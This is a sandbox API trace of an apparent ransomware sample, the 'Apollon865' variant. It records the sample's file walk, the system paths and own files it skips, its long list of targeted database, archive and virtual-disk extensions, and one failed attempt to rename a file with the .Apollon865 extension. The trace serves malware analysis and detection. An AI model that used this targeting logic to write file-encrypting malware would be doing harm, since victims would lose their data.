	[0074.299] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.299] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1
	[0074.299] lstrcmpiW (lpString1="Common.fxh", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.299] lstrcmpiW (lpString1="Common.fxh", lpString2="Apollon865.txt.exe") returned 1
	[0074.299] lstrcmpiW (lpString1="Common.fxh", lpString2=".") returned 1
	[0074.299] lstrcmpiW (lpString1="Common.fxh", lpString2="..") returned 1
	[0074.299] lstrcmpiW (lpString1="Common.fxh", lpString2="windows") returned -1
	[0074.299] lstrcmpiW (lpString1="Common.fxh", lpString2="bootmgr") returned 1
	[0074.299] lstrcmpiW (lpString1="Common.fxh", lpString2="temp") returned -1
	[0074.299] lstrcmpiW (lpString1="Common.fxh", lpString2="pagefile.sys") returned -1
	[0074.299] lstrcmpiW (lpString1="Common.fxh", lpString2="boot") returned 1
	[0074.299] lstrcmpiW (lpString1="Common.fxh", lpString2="ids.txt") returned -1
	[0074.299] lstrcmpiW (lpString1="Common.fxh", lpString2="ntuser.dat") returned -1
	[0074.300] lstrcmpiW (lpString1="Common.fxh", lpString2="perflogs") returned -1
	[0074.300] lstrcmpiW (lpString1="Common.fxh", lpString2="MSBuild") returned -1
	[0074.300] lstrlenW (lpString="Common.fxh") returned 10
	[0074.300] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\*") returned 35
	[0074.300] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.Apollon865") returned 56
	[0074.300] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.Apollon865" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml.apollon865"), dwFlags=0x1) returned 0
	[0074.302] GetLastError () returned 0x5
	[0074.302] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\DVD Maker\\Shared\\Filters.xml MoveFileEx error 5\r\n") returned 74
	[0074.302] lstrlenA (lpString="[ERROR] C:\\Program Files\\DVD Maker\\Shared\\Filters.xml MoveFileEx error 5\r\n") returned 74
	[0074.302] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.302] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc4
	[0074.302] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x4a, lpOverlapped=0x0) returned 1
	[0074.302] CloseHandle (hObject=0xc0) returned 1
	[0074.303] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0074.303] CloseHandle (hObject=0x0) returned 0
	[0074.303] CloseHandle (hObject=0x0) returned 0
	[0074.303] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x445b47b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x445b47b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.303] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.303] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1
	[0074.303] lstrcmpiW (lpString1="Parity.fx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.303] lstrcmpiW (lpString1="Parity.fx", lpString2="Apollon865.txt.exe") returned 1
	[0074.303] lstrcmpiW (lpString1="Parity.fx", lpString2=".") returned 1
	[0074.303] lstrcmpiW (lpString1="Parity.fx", lpString2="..") returned 1
	[0074.303] lstrcmpiW (lpString1="Parity.fx", lpString2="windows") returned -1
	[0074.303] lstrcmpiW (lpString1="Parity.fx", lpString2="bootmgr") returned 1
	[0074.303] lstrcmpiW (lpString1="Parity.fx", lpString2="temp") returned -1
	[0074.303] lstrcmpiW (lpString1="Parity.fx", lpString2="pagefile.sys") returned 1
	[0074.303] lstrcmpiW (lpString1="Parity.fx", lpString2="boot") returned 1
	[0074.303] lstrcmpiW (lpString1="Parity.fx", lpString2="ids.txt") returned 1
	[0074.303] lstrcmpiW (lpString1="Parity.fx", lpString2="ntuser.dat") returned 1
	[0074.303] lstrcmpiW (lpString1="Parity.fx", lpString2="perflogs") returned -1
	[0074.303] lstrcmpiW (lpString1="Parity.fx", lpString2="MSBuild") returned 1
	[0074.303] lstrlenW (lpString="Parity.fx") returned 9
	[0074.303] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned 45
	[0074.304] lstrcmpiW (lpString1="Parity.fx", lpString2=".dll") returned 1
	[0074.304] lstrlenW (lpString=".lnk") returned 4
	[0074.304] lstrcmpiW (lpString1="Parity.fx", lpString2=".lnk") returned 1
	[0074.304] lstrlenW (lpString=".ini") returned 4
	[0074.304] lstrcmpiW (lpString1="Parity.fx", lpString2=".ini") returned 1
	[0074.304] lstrlenW (lpString=".sys") returned 4
	[0074.304] lstrcmpiW (lpString1="Parity.fx", lpString2=".sys") returned 1
	[0074.304] lstrlenW (lpString="Parity.fx") returned 9
	[0074.304] lstrlenW (lpString="bak") returned 3
	[0074.304] lstrcmpiW (lpString1=".fx", lpString2="bak") returned -1
	[0074.304] lstrlenW (lpString="ba_") returned 3
	[0074.304] lstrcmpiW (lpString1=".fx", lpString2="ba_") returned -1
	[0074.304] lstrlenW (lpString="dbb") returned 3
	[0074.304] lstrcmpiW (lpString1=".fx", lpString2="dbb") returned -1
	[0074.304] lstrlenW (lpString="vmdk") returned 4
	[0074.304] lstrcmpiW (lpString1="y.fx", lpString2="vmdk") returned 1
	[0074.304] lstrlenW (lpString="rar") returned 3
	[0074.304] lstrcmpiW (lpString1=".fx", lpString2="rar") returned -1
	[0074.304] lstrlenW (lpString="zip") returned 3
	[0074.304] lstrcmpiW (lpString1=".fx", lpString2="zip") returned -1
	[0074.304] lstrlenW (lpString="tgz") returned 3
	[0074.304] lstrcmpiW (lpString1=".fx", lpString2="tgz") returned -1
	[0074.304] lstrlenW (lpString="vbox") returned 4
	[0074.304] lstrcmpiW (lpString1="y.fx", lpString2="vbox") returned 1
	[0074.304] lstrlenW (lpString="vdi") returned 3
	[0074.304] lstrcmpiW (lpString1=".fx", lpString2="vdi") returned -1
	[0074.304] lstrlenW (lpString="vhd") returned 3
	[0074.304] lstrcmpiW (lpString1=".fx", lpString2="vhd") returned -1
	[0074.304] lstrlenW (lpString="vhdx") returned 4
	[0074.304] lstrcmpiW (lpString1="y.fx", lpString2="vhdx") returned 1
	[0074.304] lstrlenW (lpString="avhd") returned 4
	[0074.304] lstrcmpiW (lpString1="y.fx", lpString2="avhd") returned 1
	[0074.304] lstrlenW (lpString="db") returned 2
	[0074.304] lstrcmpiW (lpString1="fx", lpString2="db") returned 1
	[0074.304] lstrlenW (lpString="db2") returned 3
	[0074.304] lstrcmpiW (lpString1=".fx", lpString2="db2") returned -1
	[0074.304] lstrlenW (lpString="db3") returned 3
	[0074.305] lstrcmpiW (lpString1=".fx", lpString2="db3") returned -1
	[0074.305] lstrlenW (lpString="dbf") returned 3
	[0074.305] lstrcmpiW (lpString1=".fx", lpString2="dbf") returned -1
	[0074.305] lstrlenW (lpString="mdf") returned 3
	[0074.305] lstrcmpiW (lpString1=".fx", lpString2="mdf") returned -1
	[0074.305] lstrlenW (lpString="mdb") returned 3
	[0074.305] lstrcmpiW (lpString1=".fx", lpString2="mdb") returned -1
	[0074.305] lstrlenW (lpString="sql") returned 3
	[0074.305] lstrcmpiW (lpString1=".fx", lpString2="sql") returned -1
	[0074.305] lstrlenW (lpString="sqlite") returned 6
	[0074.305] lstrcmpiW (lpString1="ity.fx", lpString2="sqlite") returned -1
	[0074.305] lstrlenW (lpString="sqlite3") returned 7
	[0074.305] lstrcmpiW (lpString1="rity.fx", lpString2="sqlite3") returned -1
	[0074.305] lstrlenW (lpString="sqlitedb") returned 8
	[0074.305] lstrcmpiW (lpString1="arity.fx", lpString2="sqlitedb") returned -1
	[0074.305] lstrlenW (lpString="xml") returned 3
	[0074.305] lstrcmpiW (lpString1=".fx", lpString2="xml") returned -1
	[0074.305] lstrlenW (lpString="$er") returned 3
	[0074.305] lstrcmpiW (lpString1=".fx", lpString2="$er") returned 1
	[0074.305] lstrlenW (lpString="4dd") returned 3
	[0074.305] lstrcmpiW (lpString1=".fx", lpString2="4dd") returned -1
	[0074.305] lstrlenW (lpString="4dl") returned 3
	[0074.305] lstrcmpiW (lpString1=".fx", lpString2="4dl") returned -1
	[0074.305] lstrlenW (lpString="^^^") returned 3
	[0074.305] lstrcmpiW (lpString1=".fx", lpString2="^^^") returned -1
	[0074.305] lstrlenW (lpString="abs") returned 3
	[0074.305] lstrcmpiW (lpString1=".fx", lpString2="abs") returned -1
	[0074.305] lstrlenW (lpString="abx") returned 3
	[0074.305] lstrcmpiW (lpString1=".fx", lpString2="abx") returned -1
	[0074.305] lstrlenW (lpString="accdb") returned 5
	[0074.305] lstrcmpiW (lpString1="ty.fx", lpString2="accdb") returned 1
	[0074.305] lstrlenW (lpString="accdc") returned 5
	[0074.305] lstrcmpiW (lpString1="ty.fx", lpString2="accdc") returned 1
	[0074.305] lstrlenW (lpString="accde") returned 5
	[0074.305] lstrcmpiW (lpString1="ty.fx", lpString2="accde") returned 1
	[0074.305] lstrlenW (lpString="accdr") returned 5
	[0074.305] lstrcmpiW (lpString1="ty.fx", lpString2="accdr") returned 1
	[0074.305] lstrlenW (lpString="accdt") returned 5
	[0074.306] lstrcmpiW (lpString1="ty.fx", lpString2="accdt") returned 1
	[0074.306] lstrlenW (lpString="accdw") returned 5
	[0074.306] lstrcmpiW (lpString1="ty.fx", lpString2="accdw") returned 1
	[0074.306] lstrlenW (lpString="accft") returned 5
	[0074.306] lstrcmpiW (lpString1="ty.fx", lpString2="accft") returned 1
	[0074.306] lstrlenW (lpString="adb") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="adb") returned -1
	[0074.306] lstrlenW (lpString="adb") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="adb") returned -1
	[0074.306] lstrlenW (lpString="ade") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="ade") returned -1
	[0074.306] lstrlenW (lpString="adf") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="adf") returned -1
	[0074.306] lstrlenW (lpString="adn") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="adn") returned -1
	[0074.306] lstrlenW (lpString="adp") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="adp") returned -1
	[0074.306] lstrlenW (lpString="alf") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="alf") returned -1
	[0074.306] lstrlenW (lpString="ask") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="ask") returned -1
	[0074.306] lstrlenW (lpString="btr") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="btr") returned -1
	[0074.306] lstrlenW (lpString="cat") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="cat") returned -1
	[0074.306] lstrlenW (lpString="cdb") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="cdb") returned -1
	[0074.306] lstrlenW (lpString="ckp") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="ckp") returned -1
	[0074.306] lstrlenW (lpString="cma") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="cma") returned -1
	[0074.306] lstrlenW (lpString="cpd") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="cpd") returned -1
	[0074.306] lstrlenW (lpString="dacpac") returned 6
	[0074.306] lstrcmpiW (lpString1="ity.fx", lpString2="dacpac") returned 1
	[0074.306] lstrlenW (lpString="dad") returned 3
	[0074.306] lstrcmpiW (lpString1=".fx", lpString2="dad") returned -1
	[0074.306] lstrlenW (lpString="dadiagrams") returned 10
	[0074.307] lstrlenW (lpString="daschema") returned 8
	[0074.307] lstrcmpiW (lpString1="arity.fx", lpString2="daschema") returned -1
	[0074.307] lstrlenW (lpString="db-journal") returned 10
	[0074.307] lstrlenW (lpString="db-shm") returned 6
	[0074.307] lstrcmpiW (lpString1="ity.fx", lpString2="db-shm") returned 1
	[0074.307] lstrlenW (lpString="db-wal") returned 6
	[0074.307] lstrcmpiW (lpString1="ity.fx", lpString2="db-wal") returned 1
	[0074.307] lstrlenW (lpString="dbc") returned 3
	[0074.307] lstrcmpiW (lpString1=".fx", lpString2="dbc") returned -1
	[0074.307] lstrlenW (lpString="dbs") returned 3
	[0074.307] lstrcmpiW (lpString1=".fx", lpString2="dbs") returned -1
	[0074.307] lstrlenW (lpString="dbt") returned 3
	[0074.307] lstrcmpiW (lpString1=".fx", lpString2="dbt") returned -1
	[0074.307] lstrlenW (lpString="dbv") returned 3
	[0074.307] lstrcmpiW (lpString1=".fx", lpString2="dbv") returned -1
	[0074.307] lstrlenW (lpString="dbx") returned 3
	[0074.307] lstrcmpiW (lpString1=".fx", lpString2="dbx") returned -1
	[0074.307] lstrlenW (lpString="dcb") returned 3
	[0074.307] lstrcmpiW (lpString1=".fx", lpString2="dcb") returned -1
	[0074.307] lstrlenW (lpString="dct") returned 3
	[0074.307] lstrcmpiW (lpString1=".fx", lpString2="dct") returned -1
	[0074.307] lstrlenW (lpString="dcx") returned 3
	[0074.307] lstrcmpiW (lpString1=".fx", lpString2="dcx") returned -1
	[0074.307] lstrlenW (lpString="ddl") returned 3
	[0074.307] lstrcmpiW (lpString1=".fx", lpString2="ddl") returned -1
	[0074.307] lstrlenW (lpString="dlis") returned 4
	[0074.307] lstrcmpiW (lpString1="y.fx", lpString2="dlis") returned 1
	[0074.307] lstrlenW (lpString="dp1") returned 3
	[0074.307] lstrcmpiW (lpString1=".fx", lpString2="dp1") returned -1
	[0074.307] lstrlenW (lpString="dqy") returned 3
	[0074.307] lstrcmpiW (lpString1=".fx", lpString2="dqy") returned -1
	[0074.307] lstrlenW (lpString="dsk") returned 3
	[0074.307] lstrcmpiW (lpString1=".fx", lpString2="dsk") returned -1
	[0074.307] lstrlenW (lpString="dsn") returned 3
	[0074.307] lstrcmpiW (lpString1=".fx", lpString2="dsn") returned -1
	[0074.307] lstrlenW (lpString="dtsx") returned 4
	[0074.307] lstrcmpiW (lpString1="y.fx", lpString2="dtsx") returned 1
	[0074.307] lstrlenW (lpString="dxl") returned 3
	[0074.307] lstrcmpiW (lpString1=".fx", lpString2="dxl") returned -1
	[0074.308] lstrlenW (lpString="eco") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="eco") returned -1
	[0074.308] lstrlenW (lpString="ecx") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="ecx") returned -1
	[0074.308] lstrlenW (lpString="edb") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="edb") returned -1
	[0074.308] lstrlenW (lpString="epim") returned 4
	[0074.308] lstrcmpiW (lpString1="y.fx", lpString2="epim") returned 1
	[0074.308] lstrlenW (lpString="fcd") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="fcd") returned -1
	[0074.308] lstrlenW (lpString="fdb") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="fdb") returned -1
	[0074.308] lstrlenW (lpString="fic") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="fic") returned -1
	[0074.308] lstrlenW (lpString="flexolibrary") returned 12
	[0074.308] lstrlenW (lpString="fm5") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="fm5") returned -1
	[0074.308] lstrlenW (lpString="fmp") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="fmp") returned -1
	[0074.308] lstrlenW (lpString="fmp12") returned 5
	[0074.308] lstrcmpiW (lpString1="ty.fx", lpString2="fmp12") returned 1
	[0074.308] lstrlenW (lpString="fmpsl") returned 5
	[0074.308] lstrcmpiW (lpString1="ty.fx", lpString2="fmpsl") returned 1
	[0074.308] lstrlenW (lpString="fol") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="fol") returned -1
	[0074.308] lstrlenW (lpString="fp3") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="fp3") returned -1
	[0074.308] lstrlenW (lpString="fp4") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="fp4") returned -1
	[0074.308] lstrlenW (lpString="fp5") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="fp5") returned -1
	[0074.308] lstrlenW (lpString="fp7") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="fp7") returned -1
	[0074.308] lstrlenW (lpString="fpt") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="fpt") returned -1
	[0074.308] lstrlenW (lpString="frm") returned 3
	[0074.308] lstrcmpiW (lpString1=".fx", lpString2="frm") returned -1
	[0074.308] lstrlenW (lpString="gdb") returned 3
	[0074.309] lstrcmpiW (lpString1=".fx", lpString2="gdb") returned -1
	[0074.309] lstrlenW (lpString="gdb") returned 3
	[0074.309] lstrcmpiW (lpString1=".fx", lpString2="gdb") returned -1
	[0074.309] lstrlenW (lpString="grdb") returned 4
	[0074.309] lstrcmpiW (lpString1="y.fx", lpString2="grdb") returned 1
	[0074.309] lstrlenW (lpString="gwi") returned 3
	[0074.309] lstrcmpiW (lpString1=".fx", lpString2="gwi") returned -1
	[0074.309] lstrlenW (lpString="hdb") returned 3
	[0074.309] lstrcmpiW (lpString1=".fx", lpString2="hdb") returned -1
	[0074.309] lstrlenW (lpString="his") returned 3
	[0074.309] lstrcmpiW (lpString1=".fx", lpString2="his") returned -1
	[0074.309] lstrlenW (lpString="ib") returned 2
	[0074.309] lstrcmpiW (lpString1="fx", lpString2="ib") returned -1
	[0074.309] lstrlenW (lpString="idb") returned 3
	[0074.309] lstrcmpiW (lpString1=".fx", lpString2="idb") returned -1
	[0074.309] lstrlenW (lpString="ihx") returned 3
	[0074.309] lstrcmpiW (lpString1=".fx", lpString2="ihx") returned -1
	[0074.309] lstrlenW (lpString="itdb") returned 4
	[0074.309] lstrcmpiW (lpString1="y.fx", lpString2="itdb") returned 1
	[0074.309] lstrlenW (lpString="itw") returned 3
	[0074.309] lstrcmpiW (lpString1=".fx", lpString2="itw") returned -1
	[0074.309] lstrlenW (lpString="jet") returned 3
	[0074.309] lstrcmpiW (lpString1=".fx", lpString2="jet") returned -1
	[0074.309] lstrlenW (lpString="jtx") returned 3
	[0074.309] lstrcmpiW (lpString1=".fx", lpString2="jtx") returned -1
	[0074.309] lstrlenW (lpString="kdb") returned 3
	[0074.309] lstrcmpiW (lpString1=".fx", lpString2="kdb") returned -1
	[0074.309] lstrlenW (lpString="kexi") returned 4
	[0074.309] lstrcmpiW (lpString1="y.fx", lpString2="kexi") returned 1
	[0074.309] lstrlenW (lpString="kexic") returned 5
	[0074.309] lstrcmpiW (lpString1="ty.fx", lpString2="kexic") returned 1
	[0074.309] lstrlenW (lpString="kexis") returned 5
	[0074.309] lstrcmpiW (lpString1="ty.fx", lpString2="kexis") returned 1
	[0074.309] lstrlenW (lpString="lgc") returned 3
	[0074.309] lstrcmpiW (lpString1=".fx", lpString2="lgc") returned -1
	[0074.309] lstrlenW (lpString="lwx") returned 3
	[0074.309] lstrcmpiW (lpString1=".fx", lpString2="lwx") returned -1
	[0074.309] lstrlenW (lpString="maf") returned 3
	[0074.309] lstrcmpiW (lpString1=".fx", lpString2="maf") returned -1
	[0074.310] lstrlenW (lpString="maq") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="maq") returned -1
	[0074.310] lstrlenW (lpString="mar") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="mar") returned -1
	[0074.310] lstrlenW (lpString="marshal") returned 7
	[0074.310] lstrcmpiW (lpString1="rity.fx", lpString2="marshal") returned 1
	[0074.310] lstrlenW (lpString="mas") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="mas") returned -1
	[0074.310] lstrlenW (lpString="mav") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="mav") returned -1
	[0074.310] lstrlenW (lpString="maw") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="maw") returned -1
	[0074.310] lstrlenW (lpString="mdbhtml") returned 7
	[0074.310] lstrcmpiW (lpString1="rity.fx", lpString2="mdbhtml") returned 1
	[0074.310] lstrlenW (lpString="mdn") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="mdn") returned -1
	[0074.310] lstrlenW (lpString="mdt") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="mdt") returned -1
	[0074.310] lstrlenW (lpString="mfd") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="mfd") returned -1
	[0074.310] lstrlenW (lpString="mpd") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="mpd") returned -1
	[0074.310] lstrlenW (lpString="mrg") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="mrg") returned -1
	[0074.310] lstrlenW (lpString="mud") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="mud") returned -1
	[0074.310] lstrlenW (lpString="mwb") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="mwb") returned -1
	[0074.310] lstrlenW (lpString="myd") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="myd") returned -1
	[0074.310] lstrlenW (lpString="ndf") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="ndf") returned -1
	[0074.310] lstrlenW (lpString="nnt") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="nnt") returned -1
	[0074.310] lstrlenW (lpString="nrmlib") returned 6
	[0074.310] lstrcmpiW (lpString1="ity.fx", lpString2="nrmlib") returned -1
	[0074.310] lstrlenW (lpString="ns2") returned 3
	[0074.310] lstrcmpiW (lpString1=".fx", lpString2="ns2") returned -1
	[0074.311] lstrlenW (lpString="ns3") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="ns3") returned -1
	[0074.311] lstrlenW (lpString="ns4") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="ns4") returned -1
	[0074.311] lstrlenW (lpString="nsf") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="nsf") returned -1
	[0074.311] lstrlenW (lpString="nv") returned 2
	[0074.311] lstrcmpiW (lpString1="fx", lpString2="nv") returned -1
	[0074.311] lstrlenW (lpString="nv2") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="nv2") returned -1
	[0074.311] lstrlenW (lpString="nwdb") returned 4
	[0074.311] lstrcmpiW (lpString1="y.fx", lpString2="nwdb") returned 1
	[0074.311] lstrlenW (lpString="nyf") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="nyf") returned -1
	[0074.311] lstrlenW (lpString="odb") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="odb") returned -1
	[0074.311] lstrlenW (lpString="odb") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="odb") returned -1
	[0074.311] lstrlenW (lpString="oqy") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="oqy") returned -1
	[0074.311] lstrlenW (lpString="ora") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="ora") returned -1
	[0074.311] lstrlenW (lpString="orx") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="orx") returned -1
	[0074.311] lstrlenW (lpString="owc") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="owc") returned -1
	[0074.311] lstrlenW (lpString="p96") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="p96") returned -1
	[0074.311] lstrlenW (lpString="p97") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="p97") returned -1
	[0074.311] lstrlenW (lpString="pan") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="pan") returned -1
	[0074.311] lstrlenW (lpString="pdb") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="pdb") returned -1
	[0074.311] lstrlenW (lpString="pdm") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="pdm") returned -1
	[0074.311] lstrlenW (lpString="pnz") returned 3
	[0074.311] lstrcmpiW (lpString1=".fx", lpString2="pnz") returned -1
	[0074.312] lstrlenW (lpString="qry") returned 3
	[0074.312] lstrcmpiW (lpString1=".fx", lpString2="qry") returned -1
	[0074.312] lstrlenW (lpString="qvd") returned 3
	[0074.312] lstrcmpiW (lpString1=".fx", lpString2="qvd") returned -1
	[0074.312] lstrlenW (lpString="rbf") returned 3
	[0074.312] lstrcmpiW (lpString1=".fx", lpString2="rbf") returned -1
	[0074.312] lstrlenW (lpString="rctd") returned 4
	[0074.312] lstrcmpiW (lpString1="y.fx", lpString2="rctd") returned 1
	[0074.312] lstrlenW (lpString="rod") returned 3
	[0074.312] lstrcmpiW (lpString1=".fx", lpString2="rod") returned -1
	[0074.312] lstrlenW (lpString="rodx") returned 4
	[0074.312] lstrcmpiW (lpString1="y.fx", lpString2="rodx") returned 1
	[0074.312] lstrlenW (lpString="rpd") returned 3
	[0074.312] lstrcmpiW (lpString1=".fx", lpString2="rpd") returned -1
	[0074.312] lstrlenW (lpString="rsd") returned 3
	[0074.312] lstrcmpiW (lpString1=".fx", lpString2="rsd") returned -1
	[0074.312] lstrlenW (lpString="sas7bdat") returned 8
	[0074.312] lstrcmpiW (lpString1="arity.fx", lpString2="sas7bdat") returned -1
	[0074.312] lstrlenW (lpString="sbf") returned 3
	[0074.312] lstrcmpiW (lpString1=".fx", lpString2="sbf") returned -1
	[0074.312] lstrlenW (lpString="scx") returned 3
	[0074.312] lstrcmpiW (lpString1=".fx", lpString2="scx") returned -1
	[0074.312] lstrlenW (lpString="sdb") returned 3
	[0074.312] lstrcmpiW (lpString1=".fx", lpString2="sdb") returned -1
	[0074.312] lstrlenW (lpString="sdc") returned 3
	[0074.312] lstrcmpiW (lpString1=".fx", lpString2="sdc") returned -1
	[0074.312] lstrlenW (lpString="sdf") returned 3
	[0074.312] lstrcmpiW (lpString1=".fx", lpString2="sdf") returned -1
	[0074.312] lstrlenW (lpString="sis") returned 3
	[0074.312] lstrcmpiW (lpString1=".fx", lpString2="sis") returned -1
	[0074.312] lstrlenW (lpString="spq") returned 3
	[0074.312] lstrcmpiW (lpString1=".fx", lpString2="spq") returned -1
	[0074.312] lstrlenW (lpString="te") returned 2
	[0074.312] lstrcmpiW (lpString1="fx", lpString2="te") returned -1
	[0074.312] lstrlenW (lpString="teacher") returned 7
	[0074.312] lstrcmpiW (lpString1="rity.fx", lpString2="teacher") returned -1
	[0074.312] lstrlenW (lpString="tmd") returned 3
	[0074.312] lstrcmpiW (lpString1=".fx", lpString2="tmd") returned -1
	[0074.312] lstrlenW (lpString="tps") returned 3
	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="tps") returned -1
	[0074.313] lstrlenW (lpString="trc") returned 3
	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="trc") returned -1
	[0074.313] lstrlenW (lpString="trc") returned 3
	[0074.313] lstrcmpiW (lpString1=".fx", lpString2="trc") returned -1
	[0074.313] lstrlenW (lpString="trm") returned 3
